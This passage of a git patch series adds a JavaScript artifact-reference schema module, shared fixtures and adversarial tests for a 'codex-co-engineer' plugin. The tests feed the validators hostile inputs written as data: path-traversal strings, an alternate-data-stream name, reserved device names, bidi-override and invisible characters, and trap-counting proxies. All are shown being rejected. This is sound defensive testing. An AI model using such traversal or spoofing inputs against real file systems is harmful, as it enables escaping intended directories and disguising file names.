'colon_denied'); + pathError('report.txt:hidden', 'colon_denied'); + pathError('runs/x/', 'trailing_slash_denied'); + pathError('runs//x', 'empty_segment_denied'); + pathError('./diff.patch', 'alias_segment_denied'); + pathError('../diff.patch', 'alias_segment_denied'); + pathError('runs/../escape', 'alias_segment_denied'); + pathError('...', 'alias_segment_denied'); + pathError('runs/.../x', 'alias_segment_denied'); + for (const reserved of ['CON', 'con.txt', 'Com1', 'lpt0', 'NUL', 'nul', 'PRN', 'aux', 'clock$', 'CLOCK$/token']) { + pathError(`runs/${reserved}`, 'reserved_device_name_denied', 'artifact_ref.relative_path'); + } + for (const ordinary of ['concat', 'auxiliary', 'nullify', 'control', 'companion10']) { + assert.equal(isArtifactRelativePathV1(`runs/${ordinary}.txt`), true, ordinary); + } + pathError('runs/name.', 'edge_character_denied'); + pathError('runs/name ', 'edge_character_denied'); + pathError('runs/ name', 'edge_character_denied'); + pathError(`runs/${'a'.repeat(129)}`, 'segment_too_long'); + pathError(Array.from({ length: 17 }, (unused, index) => `s${index}`).join('/'), 'segment_count_exceeded'); + assert.doesNotThrow(() => validateArtifactRelativePathV1( + Array.from({ length: 16 }, (unused, index) => `s${index}`).join('/'), + )); +}); + +test('separator tricks, controls, invisible characters, and encodings are rejected', () => { + pathError('runs/a\u2044b', 'separator_lookalike_denied'); + pathError('runs/a\u2215b', 'separator_lookalike_denied'); + pathError('runs/a\uFF0Fb', 'separator_lookalike_denied'); + pathError('runs/a\uFF3Cb', 'separator_lookalike_denied'); + pathError('runs/a\u0000b', 'control_character_denied'); + pathError('runs/a\tb', 'control_character_denied'); + pathError('runs/a\nb', 'control_character_denied'); + pathError('runs/a\u007Fb', 'control_character_denied'); + pathError('runs/a\u0085b', 'control_character_denied'); + pathError('runs/a\u00ADb', 'invisible_character_denied'); + pathError('runs/a\u200Bb', 'invisible_character_denied'); + pathError('runs/a\u200Eb', 'invisible_character_denied'); + pathError('runs/\u202Edir/x', 'invisible_character_denied'); + pathError('runs/dir\u202E/x', 'invisible_character_denied'); + pathError('runs/\u2066dir/x', 'invisible_character_denied'); + pathError('\uFEFFruns/x', 'invisible_character_denied'); + pathError('runs/tag\u{E0041}x', 'invisible_character_denied'); + pathError('e\u0301clair.patch', 'invalid_encoding'); + pathError('cafe\u0301.patch', 'invalid_encoding'); + assert.doesNotThrow(() => validateArtifactRelativePathV1('café.patch')); + // Well-formed astral characters stay legal; only unpaired surrogates fail. + assert.doesNotThrow(() => validateArtifactRelativePathV1('runs/🙂/diff.patch')); + assert.equal(validateArtifactRelativePathV1('runs/🙂/diff.patch').byte_length, + Buffer.byteLength('runs/🙂/diff.patch', 'utf8')); + assert.throws(() => validateArtifactRelativePathV1('\uD800'), RunContractV1Error); + assert.throws(() => validateArtifactRelativePathV1('a\uDFFBc'), RunContractV1Error); + assert.equal(isArtifactRelativePathV1('\uDFFF'), false); + assert.equal(isArtifactRelativePathV1('\uD83D\uDE00runs'), true); +}); + +test('validation order is fixed so identical inputs always raise identical first errors', () => { + // Encoding beats NFC, NFC beats traversal, absolute beats control, + // backslash beats colon, alias beats invisible. + pathError('e\u0301/../x', 'invalid_encoding'); + pathError('../\u202Ex', 'alias_segment_denied'); + pathError('/x\u0000', 'absolute_path_denied'); + pathError('C:\\x', 'invalid_separator'); + pathError('\u202E/../x', 'alias_segment_denied'); + // The character scan is strictly positional: the first offending code + // point decides, whichever class it belongs to. + pathError('C:\u0000', 'colon_denied'); + pathError('\u0000a:b', 'control_character_denied'); + const twice = () => pathError('e\u0301/../..', 'invalid_encoding').message; + assert.equal(twice(), twice()); +}); + +test('non-string inputs and predicate parity behave without ever throwing', () => { + for (const bad of [undefined, null, 42, true, {}, ['a'], Symbol('path')]) { + assert.equal( + errorOf(() => validateArtifactRelativePathV1(bad, 'p')).code, + 'invalid_type', + ); + assert.equal(isArtifactRelativePathV1(bad), false); + } + const samples = [ + '', '/', '//', '.', '..', 'a', 'a/b', '/abs', 'a/', 'a//b', 'C:/x', + 'ok/deep/path.txt', 'bad\u0000', 'e\u0301', 'café', 'a/con', 'CON', + `${'a'.repeat(1024)}`, `${'a'.repeat(1025)}`, + ]; + for (const sample of samples) { + let threw = false; + try { + validateArtifactRelativePathV1(sample, 'p'); + } catch { + threw = true; + } + assert.equal(isArtifactRelativePathV1(sample), !threw, JSON.stringify(sample)); + } +}); + +test('accepted path descriptors are detached and frozen', () => { + const descriptor = validateArtifactRelativePathV1('runs/run-a/lane-b/diff.patch', 'p'); + assert.equal(Object.isFrozen(descriptor), true); + assert.equal(Object.isFrozen(descriptor.segments), true); + assert.deepEqual([...descriptor.segments], ['runs', 'run-a', 'lane-b', 'diff.patch']); + assert.equal(descriptor.byte_length, Buffer.byteLength('runs/run-a/lane-b/diff.patch', 'utf8')); +}); + +test('every raised path code stays inside the closed vocabulary', () => { + const codes = new Set(ARTIFACT_RELATIVE_PATH_ERROR_CODES); + const attempts = [ + '', '/x', 'a\\b', 'a/../b', 'a//b', 'a/', '...', 'a/CON', 'a/b.', + 'a\u0000b', 'a\u200Bb', 'a\u2044b', 'a:b', `${'a'.repeat(2000)}`, + `${Array.from({ length: 20 }, (_v, i) => `s${i}`).join('/')}`, + '\uD800', 'e\u0301', 42, null, + ]; + for (const attempt of attempts) { + try { + validateArtifactRelativePathV1(attempt, 'p'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assert.ok(codes.has(error.code), `unexpected code ${error.code}`); + } + }}); + From 773b44f97c9b265e9607e60ac478105dcfa86b1d Mon Sep 17 00:00:00 2001 From: cole Date: Sat, 22 Aug 2026 19:45:24 +0000 Subject: [PATCH 005/151] feat(v3): bind the closed ArtifactRefV1 contract and digest authority Bind exactly ten keys: exact run/child identifiers reusing the accepted manifest grammars, artifact kind bound to the detached P17 capability vocabulary, raw-vs-sanitized class with class-dependent bounded-evidence caps (sanitized 256 KiB, raw 32 MiB), declared byte length, 64-character lowercase SHA-256, and closed media-type/content-encoding enums. The relative path carries no class marker; consumers trust the ref, never the name. Hostile inputs fail closed before any effect: live/revoked Proxies with zero traps, accessor properties whose getters never run, symbol keys, exotic prototypes, own undefined, sparse/extended arrays, aliases and cycles, depth and size. Parsed results are deep-frozen detached snapshots built property-by-property, so later caller mutation cannot drift a digest or a comparison. Digests follow the accepted P03 framing conventions without touching its closed registry: SHA-256 over validator-owned canonical JSON behind an explicit domain string, big-endian version, ratified private label, and length-prefixed parts, so key order cannot change a digest while any value change must. Ordering is deterministic via one total tuple comparator plus a bounded (64) duplicate-free batch orderer. Pure schema and path policy only: no constructor from bytes, no reader, no sanitizer, no existence check, and no claim that P08 storage exists. Focused hostile coverage pins proxies, accessors, coercion hooks, closure-before-vocabulary ordering, batch hostility, and mid-call mutation inertness. --- .../codex-co-engineer/mcp/v3/artifact-ref.mjs | 377 ++++++++++++++++++ .../test/fixtures/r1-artifact-fixtures.mjs | 70 ++++ .../test/r1-artifact-ref-adversarial.test.mjs | 228 +++++++++++ .../test/r1-artifact-ref.test.mjs | 342 ++++++++++++++++ 4 files changed, 1017 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/artifact-ref.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-artifact-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-ref-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-ref.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-ref.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-ref.mjs new file mode 100644 index 0000000..f5a09e8 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/artifact-ref.mjs @@ -0,0 +1,377 @@ +// ArtifactRefV1 — closed bounded artifact-reference contract plus its +// canonical serialization and digest authority (ADR 0001 identifiers +// `bounded_evidence`, `exact_identities`, +// `gate_a_valid_raw_and_sanitized_artifacts`). +// +// Additive v3 module for W3-P07. An ArtifactRefV1 is a bounded declaration +// that one run child produced one artifact of one kind in one class at one +// strict portable relative path with one declared byte length, SHA-256 +// content digest, and media/content metadata. It binds exactly ten keys: +// +// schema exact "codex-co-engineer.artifact-ref.v1" +// run_id exact RunManifestV1 run identifier +// assignment_id exact AssignmentManifestV1 child identifier +// artifact_kind closed enum bound to the P17 capability vocabulary +// (CAPABILITY_ARTIFACT_KINDS), detached here +// artifact_class "raw" (owner-only local evidence) or "sanitized" +// (model-facing bounded projection) +// relative_path strict portable relative path per artifact-path.mjs; +// the path carries NO class marker — consumers trust the +// ref, never the name +// byte_length declared artifact size in bytes, 1..cap(class); +// sanitized projections face the model and carry the +// tighter cap, raw evidence stays host-local under a +// larger but finite cap (ADR `bounded_evidence`) +// sha256 exact 64-character lowercase hex of the artifact bytes +// media_type closed enum +// content_encoding closed enum ("identity" or "base64") +// +// This module is PURE SCHEMA AND PATH POLICY ONLY. It performs no +// filesystem, network, or process I/O and it makes no claim that P08 +// artifact storage exists: byte_length and sha256 are producer declarations +// that only a later storage authority may bind to real bytes. There is no +// constructor from bytes, no reader, no sanitizer, and no existence check. +// +// Identity conventions follow the accepted P03 authority shape without +// touching it: digests are computed only over validator-owned canonical +// forms, never caller views, behind explicit domain separation and +// versioning — a domain string, a 32-bit big-endian version, a ratified +// private label, and every part behind a 32-bit big-endian length prefix, +// all framed with SHA-256. Canonical serialization reuses the shared +// canonical JSON writer (sorted keys, minimal escaping, well-formed Unicode, +// safe integers), so key order and whitespace cannot change a digest while +// any meaningful value change must. +// +// Hostile inputs fail closed before any effect: live and revoked Proxies, +// accessor properties (getters are never invoked), symbol keys, exotic +// prototypes, own undefined values, sparse or extended arrays, aliased or +// cyclic graphs, and oversized/deep payloads are rejected with stable typed +// errors before any value is read into the contract. Parsed results are +// deep-frozen detached snapshots built property-by-property, so later +// mutation of the caller object cannot drift a digest or a comparison. +// +// Ordering is deterministic: compareArtifactRefsV1 fixes one total tuple +// order and orderArtifactRefsV1 returns a bounded duplicate-free frozen +// list, so equal sets of references always serialize and hash identically +// regardless of submission order. + +import { Buffer } from 'node:buffer'; +import { createHash, timingSafeEqual } from 'node:crypto'; + +import { + capturedDescriptor, + capturedFreeze, + capturedIncludes, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { validateArtifactRelativePathV1 } from './artifact-path.mjs'; +import { CAPABILITY_ARTIFACT_KINDS } from './capability-bridge.mjs'; +import { + RunContractV1Error, + assertAllowedKeys, + assertDenseJsonArray, + assertRunId, + isAssignmentId, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const ARTIFACT_REF_SCHEMA_ID = 'codex-co-engineer.artifact-ref.v1'; + +export const ARTIFACT_DIGEST_DOMAIN = 'codex-co-engineer.artifact.v1'; +export const ARTIFACT_DIGEST_VERSION = 1; +export const ARTIFACT_REF_DIGEST_LABEL = 'artifact-ref.v1'; +export const DIGEST_ALGORITHM = 'sha256'; +export const ARTIFACT_DIGEST_HEX_LENGTH = 64; + +// Closed vocabularies. artifact_kind stays bound to the P17 capability +// record vocabulary so a lane cannot reference an artifact kind its provider +// capability could never declare; the copy is detached, so later mutation of +// either exported array cannot change what this module accepts. +export const ARTIFACT_KINDS = capturedFreeze([...CAPABILITY_ARTIFACT_KINDS]); +export const ARTIFACT_CLASSES = capturedFreeze(['raw', 'sanitized']); +export const MEDIA_TYPES = capturedFreeze([ + 'application/json', + 'application/octet-stream', + 'application/x-ndjson', + 'text/markdown', + 'text/plain', +]); +export const CONTENT_ENCODINGS = capturedFreeze(['base64', 'identity']); + +export const ARTIFACT_REF_ALLOWED_KEYS = capturedFreeze([ + 'schema', + 'run_id', + 'assignment_id', + 'artifact_kind', + 'artifact_class', + 'relative_path', + 'byte_length', + 'sha256', + 'media_type', + 'content_encoding', +]); + +export const MIN_ARTIFACT_BYTE_LENGTH = 1; +export const MAX_RAW_ARTIFACT_BYTE_LENGTH = 33_554_432; +export const MAX_SANITIZED_ARTIFACT_BYTE_LENGTH = 262_144; +export const MAX_ARTIFACT_REFS = 64; + +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +export const ARTIFACT_SHA256_PATTERN = new RegExp( + PRIVATE_SHA256_PATTERN.source, PRIVATE_SHA256_PATTERN.flags, +); + +// Stable artifact-specific denial codes. Shared vocabulary codes +// (proxy_denied, accessor_property_denied, symbol_key_denied, +// exotic_prototype_denied, aliased_reference_denied, own_undefined_denied, +// unknown_key, forbidden-class denials, and every artifact-path code) pass +// through unchanged from their owning modules. +export const ARTIFACT_REF_ERROR_CODES = capturedFreeze([ + 'duplicate_artifact_ref', + 'invalid_format', + 'invalid_type', + 'missing_key', + 'out_of_range', + 'refs_exceeded', + 'unknown_artifact_class', + 'unknown_artifact_kind', + 'unknown_content_encoding', + 'unknown_media_type', +]); + +// ---- Captured intrinsics, taken exactly once at initialization. ----------- +const CRYPTO_CREATE_HASH = createHash; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH(DIGEST_ALGORITHM)); +const HASH_UPDATE = HASH_PROTOTYPE.update; +const HASH_DIGEST = HASH_PROTOTYPE.digest; +const BUFFER_ALLOC = Buffer.alloc.bind(Buffer); +const BUFFER_FROM = Buffer.from.bind(Buffer); +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const OBJECT_PROTOTYPE = Object.prototype; +const REFLECT_APPLY = Reflect.apply; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const REGEXP_TEST = RegExp.prototype.test; +const STRING = String; + +function sha256HexPatternMatch(value) { + return REFLECT_APPLY(REGEXP_TEST, PRIVATE_SHA256_PATTERN, [value]) === true; +} + +function maxByteLengthForClass(artifactClass) { + return artifactClass === 'raw' + ? MAX_RAW_ARTIFACT_BYTE_LENGTH + : MAX_SANITIZED_ARTIFACT_BYTE_LENGTH; +} + +function enumError(code, path, label, allowed) { + let joined = ''; + for (let index = 0; index < allowed.length; index += 1) { + joined += index === 0 ? `"${allowed[index]}"` : `, "${allowed[index]}"`; + } + fail(code, path, `${path} must be exactly one of ${joined}; received an outside ${label}.`); +} + +// Validate one ArtifactRefV1 direct-JS value and return a deep-frozen, +// detached snapshot built property-by-property from validated scalars. The +// fixed pipeline order means identical inputs always raise the identical +// first typed error. +export function parseArtifactRefV1(input, path = 'artifact_ref') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + // Closure gate first: proxies, accessors, symbols, exotic prototypes, + // sparse arrays, aliases/cycles, undefined values, depth, and hostile + // shapes are rejected here before any field is interpreted. + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, ARTIFACT_REF_ALLOWED_KEYS, path); + for (let index = 0; index < ARTIFACT_REF_ALLOWED_KEYS.length; index += 1) { + const key = ARTIFACT_REF_ALLOWED_KEYS[index]; + if (!hasOwn(input, key)) { + fail('missing_key', `${path}.${key}`, + `${path}.${key} is required (${ARTIFACT_REF_SCHEMA_ID}); artifact references have no hidden defaults.`); + } + } + + const schema = optOwn(input, 'schema'); + if (schema !== ARTIFACT_REF_SCHEMA_ID) { + fail('invalid_format', `${path}.schema`, + `${path}.schema must be exactly "${ARTIFACT_REF_SCHEMA_ID}".`); + } + const runId = optOwn(input, 'run_id'); + assertRunId(runId, `${path}.run_id`); + const assignmentId = optOwn(input, 'assignment_id'); + if (!isAssignmentId(assignmentId)) { + fail('invalid_format', `${path}.assignment_id`, + `${path}.assignment_id violates the assignment-id grammar; child artifacts bind one exact child.`); + } + const artifactKind = optOwn(input, 'artifact_kind'); + if (!capturedIncludes(ARTIFACT_KINDS, artifactKind)) { + enumError('unknown_artifact_kind', `${path}.artifact_kind`, 'artifact kind', ARTIFACT_KINDS); + } + const artifactClass = optOwn(input, 'artifact_class'); + if (!capturedIncludes(ARTIFACT_CLASSES, artifactClass)) { + enumError('unknown_artifact_class', `${path}.artifact_class`, 'artifact class', ARTIFACT_CLASSES); + } + const relativePath = optOwn(input, 'relative_path'); + validateArtifactRelativePathV1(relativePath, `${path}.relative_path`); + + const byteLength = optOwn(input, 'byte_length'); + if (typeof byteLength !== 'number' || !NUMBER_IS_SAFE_INTEGER(byteLength)) { + fail('invalid_type', `${path}.byte_length`, `${path}.byte_length must be an integer number of bytes.`); + } + const cap = maxByteLengthForClass(artifactClass); + if (byteLength < MIN_ARTIFACT_BYTE_LENGTH || byteLength > cap) { + fail('out_of_range', `${path}.byte_length`, + `${path}.byte_length is ${byteLength} bytes; a ${artifactClass} artifact declares ` + + `${MIN_ARTIFACT_BYTE_LENGTH}..${cap} bytes (ADR bounded_evidence).`); + } + const sha256 = optOwn(input, 'sha256'); + if (typeof sha256 !== 'string' || !sha256HexPatternMatch(sha256)) { + fail('invalid_format', `${path}.sha256`, + `${path}.sha256 must be an exact ${ARTIFACT_DIGEST_HEX_LENGTH}-character lowercase hex SHA-256.`); + } + const mediaType = optOwn(input, 'media_type'); + if (!capturedIncludes(MEDIA_TYPES, mediaType)) { + enumError('unknown_media_type', `${path}.media_type`, 'media type', MEDIA_TYPES); + } + const contentEncoding = optOwn(input, 'content_encoding'); + if (!capturedIncludes(CONTENT_ENCODINGS, contentEncoding)) { + enumError('unknown_content_encoding', `${path}.content_encoding`, 'content encoding', CONTENT_ENCODINGS); + } + + // Detached snapshot: fresh ordinary object, every field installed as a + // frozen enumerable data property copied from the validated value, then + // frozen as a whole. No alias to the caller object survives. + const snapshot = {}; + for (let index = 0; index < ARTIFACT_REF_ALLOWED_KEYS.length; index += 1) { + const key = ARTIFACT_REF_ALLOWED_KEYS[index]; + const value = key === 'byte_length' ? byteLength : capturedDescriptor(input, key).value; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value, enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +export function validateArtifactRefV1(input, path = 'artifact_ref') { + return parseArtifactRefV1(input, path); +} + +// Canonical serialization of the validator-owned form. The caller view is +// never serialized: parsing happens first, so accessor-shaped lookalikes and +// late-mutating views cannot launder bytes into the canonical text. +export function canonicalArtifactRefJsonV1(input, path = 'artifact_ref') { + return canonicalJsonStringify(parseArtifactRefV1(input, path)); +} + +function framedUpdate(hash, bytes) { + const prefix = BUFFER_ALLOC(4); + prefix.writeUInt32BE(bytes.length, 0); + HASH_UPDATE.call(hash, prefix); + HASH_UPDATE.call(hash, bytes); +} + +// Domain-separated digest over the canonical validated form, following the +// accepted P03 framing conventions (domain, big-endian version, label, and +// each part behind a big-endian length prefix) without extending the P03 +// closed label registry: the artifact label is ratified here and nowhere +// else, so cross-surface digest collision is structurally impossible. +export function artifactRefDigestV1(input, path = 'artifact_ref') { + const snapshot = parseArtifactRefV1(input, path); + const canonical = canonicalJsonStringify(snapshot); + const canonicalBytes = BUFFER_FROM(canonical, 'utf8'); + const hash = CRYPTO_CREATE_HASH(DIGEST_ALGORITHM); + framedUpdate(hash, BUFFER_FROM(ARTIFACT_DIGEST_DOMAIN, 'utf8')); + const version = BUFFER_ALLOC(4); + version.writeUInt32BE(ARTIFACT_DIGEST_VERSION, 0); + HASH_UPDATE.call(hash, version); + framedUpdate(hash, BUFFER_FROM(ARTIFACT_REF_DIGEST_LABEL, 'utf8')); + framedUpdate(hash, canonicalBytes); + return capturedFreeze({ + algorithm: DIGEST_ALGORITHM, + domain: ARTIFACT_DIGEST_DOMAIN, + version: ARTIFACT_DIGEST_VERSION, + label: ARTIFACT_REF_DIGEST_LABEL, + input_bytes: canonicalBytes.length, + digest: HASH_DIGEST.call(hash, 'hex'), + }); +} + +// Timing-safe verification. Malformed expected values return false instead +// of throwing; invalid references still fail closed with their typed errors. +export function verifyArtifactRefDigestV1(input, expectedDigestHex, path = 'artifact_ref') { + if (typeof expectedDigestHex !== 'string' + || expectedDigestHex.length !== ARTIFACT_DIGEST_HEX_LENGTH + || !sha256HexPatternMatch(expectedDigestHex)) { + return false; + } + const actual = artifactRefDigestV1(input, path).digest; + return TIMING_SAFE_EQUAL(BUFFER_FROM(actual, 'hex'), BUFFER_FROM(expectedDigestHex, 'hex')) === true; +} + +function compareStrings(left, right) { + if (left === right) return 0; + return left < right ? -1 : 1; +} + +// Deterministic total order over parsed references. The tuple order is: +// run_id, assignment_id, artifact_class, artifact_kind, relative_path, +// media_type, content_encoding, sha256, byte_length. Two references compare +// equal only when every field matches, i.e. when they are the same reference. +export function compareArtifactRefsV1(leftInput, rightInput) { + const left = parseArtifactRefV1(leftInput, 'left'); + const right = parseArtifactRefV1(rightInput, 'right'); + let verdict = compareStrings(left.run_id, right.run_id); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.assignment_id, right.assignment_id); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.artifact_class, right.artifact_class); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.artifact_kind, right.artifact_kind); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.relative_path, right.relative_path); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.media_type, right.media_type); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.content_encoding, right.content_encoding); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.sha256, right.sha256); + if (verdict !== 0) return verdict; + return left.byte_length === right.byte_length ? 0 : left.byte_length < right.byte_length ? -1 : 1; +} + +// Deterministic, duplicate-free ordering of a bounded batch of references. +// Every element is fully revalidated and detached BEFORE sorting, so caller +// mutation during or after the call can neither disturb the order nor leak +// into the result. Duplicate references (identical validated content, which +// includes two aliases of one object) reject rather than silently collapse. +export function orderArtifactRefsV1(inputs, path = 'artifact_refs') { + assertNotProxy(inputs, path); + assertDenseJsonArray(inputs, path); + if (inputs.length > MAX_ARTIFACT_REFS) { + fail('refs_exceeded', path, + `${path} carries ${inputs.length} references; at most ${MAX_ARTIFACT_REFS} are allowed.`); + } + const snapshots = []; + const seenCanonical = new Set(); + for (let index = 0; index < inputs.length; index += 1) { + const entryPath = `${path}[${index}]`; + assertNotProxy(inputs[index], entryPath); + const snapshot = parseArtifactRefV1(inputs[index], entryPath); + const key = canonicalJsonStringify(snapshot); + if (seenCanonical.has(key)) { + fail('duplicate_artifact_ref', entryPath, + `${entryPath} repeats an identical artifact reference; duplicates are denied instead of collapsed.`); + } + seenCanonical.add(key); + snapshots.push(snapshot); + } + snapshots.sort(compareArtifactRefsV1); + return capturedFreeze(snapshots); +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-artifact-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-artifact-fixtures.mjs new file mode 100644 index 0000000..5e8ba5b --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-artifact-fixtures.mjs @@ -0,0 +1,70 @@ +// Shared fixtures for the W3-P07 artifact-reference and path-policy tests. +// Pure data and tiny local helpers only; no I/O and no product imports +// beyond the two modules under test. + +import { + ARTIFACT_REF_SCHEMA_ID, +} from '../../mcp/v3/artifact-ref.mjs'; + +export const RUN_ID = 'run-artifact-01'; +export const CHILD_A = 'lane-alpha'; +export const CHILD_B = 'lane-beta'; + +const SHA_A = 'aa'.repeat(32); +const SHA_B = 'bb'.repeat(32); + +export function validRef(overrides = {}) { + return { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: RUN_ID, + assignment_id: CHILD_A, + artifact_kind: 'git_diff', + artifact_class: 'sanitized', + relative_path: `runs/${RUN_ID}/${CHILD_A}/diff.patch`, + byte_length: 2048, + sha256: SHA_A, + media_type: 'text/plain', + content_encoding: 'identity', + ...overrides, + }; +} + +export function secondRef(overrides = {}) { + return validRef({ + assignment_id: CHILD_B, + relative_path: `runs/${RUN_ID}/${CHILD_B}/diff.patch`, + sha256: SHA_B, + ...overrides, + }); +} + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property, receiver) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property, receiver); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} diff --git a/plugins/codex-co-engineer/test/r1-artifact-ref-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-ref-adversarial.test.mjs new file mode 100644 index 0000000..3c150bd --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-ref-adversarial.test.mjs @@ -0,0 +1,228 @@ +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { + ARTIFACT_REF_ERROR_CODES, + MAX_ARTIFACT_REFS, + artifactRefDigestV1, + canonicalArtifactRefJsonV1, + compareArtifactRefsV1, + orderArtifactRefsV1, + parseArtifactRefV1, + verifyArtifactRefDigestV1, +} from '../mcp/v3/artifact-ref.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, secondRef, trapTotal, validRef } from './fixtures/r1-artifact-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +function pathError(value, expectedCode, expectedPath = 'artifact_ref.relative_path') { + const error = errorOf( + () => parseArtifactRefV1(validRef({ relative_path: value })), + expectedPath, + ); + assert.equal(error.code, expectedCode, `path ${JSON.stringify(value)}`); + return error; +} + +test('live proxies are denied with zero traps on every artifact surface', () => { + const { proxy, counts } = countingProxy(validRef()); + assert.equal(errorOf(() => parseArtifactRefV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const digestCounts = countingProxy(validRef()); + assert.equal(errorOf(() => artifactRefDigestV1(digestCounts.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(digestCounts.counts), 0); + + const listCounts = countingProxy([validRef()]); + assert.equal(errorOf(() => orderArtifactRefsV1(listCounts.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(listCounts.counts), 0); + + const elementCounts = countingProxy(validRef()); + assert.equal(errorOf(() => orderArtifactRefsV1([elementCounts.proxy])).code, 'proxy_denied'); + assert.equal(trapTotal(elementCounts.counts), 0); + + const leftCounts = countingProxy(validRef()); + assert.equal(errorOf(() => compareArtifactRefsV1(leftCounts.proxy, validRef())).code, 'proxy_denied'); + assert.equal(trapTotal(leftCounts.counts), 0); +}); + +test('revoked proxies fail closed before Array.isArray or Reflect can throw', () => { + const { proxy, revoke } = Proxy.revocable(validRef(), { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const error = errorOf(() => parseArtifactRefV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); +}); + +test('accessor properties are rejected and their getters never run', () => { + let reads = 0; + const getterRef = validRef(); + Object.defineProperty(getterRef, 'relative_path', { + enumerable: true, + get() { + reads += 1; + return 'runs/run-artifact-01/lane-alpha/diff.patch'; + }, + }); + const error = errorOf(() => parseArtifactRefV1(getterRef), 'artifact_ref.relative_path'); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(reads, 0); + + let throwingReads = 0; + const throwingRef = validRef(); + Object.defineProperty(throwingRef, 'sha256', { + enumerable: true, + get() { + throwingReads += 1; + throw new Error('getter bomb'); + }, + }); + assert.equal( + errorOf(() => parseArtifactRefV1(throwingRef)).code, + 'accessor_property_denied', + ); + assert.equal(throwingReads, 0); +}); + +test('non-enumerable fields, symbol keys, and exotic prototypes are denied', () => { + const hidden = validRef(); + Object.defineProperty(hidden, 'byte_length', { enumerable: false, value: 2048 }); + assert.equal( + errorOf(() => parseArtifactRefV1(hidden)).code, + 'non_enumerable_property_denied', + ); + + const symbolled = validRef(); + symbolled[Symbol('injected')] = 'payload'; + assert.equal(errorOf(() => parseArtifactRefV1(symbolled)).code, 'symbol_key_denied'); + + class SpoofedRef {} + const instance = new SpoofedRef(); + Object.assign(instance, validRef()); + assert.equal(errorOf(() => parseArtifactRefV1(instance)).code, 'invalid_type'); + assert.equal(errorOf(() => parseArtifactRefV1(new Map())).code, 'invalid_type'); + assert.equal(errorOf(() => parseArtifactRefV1(new Date())).code, 'invalid_type'); + + // Null-prototype data objects remain acceptable direct JSON. + const nullProto = Object.create(null); + Object.assign(nullProto, validRef()); + assert.doesNotThrow(() => parseArtifactRefV1(nullProto)); +}); + +test('own undefined values, boxed values, and coercion hooks never contribute', () => { + assert.equal( + errorOf(() => parseArtifactRefV1(validRef({ media_type: undefined }))).code, + 'own_undefined_denied', + ); + let coerced = 0; + const sneaky = { valueOf() { coerced += 1; return 2048; } }; + assert.equal( + errorOf( + () => parseArtifactRefV1(validRef({ byte_length: sneaky })), + 'artifact_ref.byte_length.valueOf', + ).code, + 'invalid_json_type', + ); + assert.equal(coerced, 0); + const boxed = validRef({ sha256: new String('a'.repeat(64)) }); + assert.equal(errorOf(() => parseArtifactRefV1(boxed)).code, 'exotic_prototype_denied'); +}); + +test('cyclic, aliased, deep, and oversized payloads are rejected before effects', () => { + const cyclic = validRef(); + cyclic.self = cyclic; + assert.equal(errorOf(() => parseArtifactRefV1(cyclic)).code, 